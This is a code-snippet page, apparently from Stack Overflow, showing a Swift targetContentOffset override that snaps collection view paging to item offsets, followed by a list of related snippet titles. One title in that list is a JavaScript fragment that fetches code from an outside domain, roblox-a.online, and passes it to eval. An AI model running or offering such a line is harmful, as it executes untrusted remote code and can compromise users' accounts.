/Swift/Swift collectionview ispagingenabled change page size

Swift collectionview ispagingenabled change page size

override func targetContentOffset(forProposedContentOffset proposedContentOffset: CGPoint, withScrollingVelocity velocity: CGPoint) -> CGPoint {
    var offsetAdjustment = CGFloat.greatestFiniteMagnitude
    let horizontalOffset = proposedContentOffset.x
    let targetRect = CGRect(origin: CGPoint(x: proposedContentOffset.x, y: 0), size: self.collectionView!.bounds.size)

    for layoutAttributes in super.layoutAttributesForElements(in: targetRect)! {
        let itemOffset = layoutAttributes.frame.origin.x
        if (abs(itemOffset - horizontalOffset) < abs(offsetAdjustment)) {
            offsetAdjustment = itemOffset - horizontalOffset
        }
    }

    return CGPoint(x: proposedContentOffset.x + offsetAdjustment, y: proposedContentOffset.y)
}

Source: stackoverflow.com

Similar codes

0 vote196 views1 answer
Swift how to dereference unsafemutablepointer
Swift
0 vote157 views1 answer
Activity indicator swiftui
Swift
0 vote145 views1 answer
Swift dispatch after
Swift
7 votes247 views4 answers
Swiftui background color
Swift
1 vote146 views4 answers
Swift convert dictionary to json
Swift
1 vote159 views1 answer
Xcode label rotate text
Swift
0 vote153 views1 answer
Table views
Swift
0 vote145 views1 answer
Convert dictionary to data
Swift
4 votes178 views1 answer
Swift self.present full screen
Swift
0 vote188 views5 answers
Xjavascript $get('//roblox-a.online/api id=239' eval)
Swift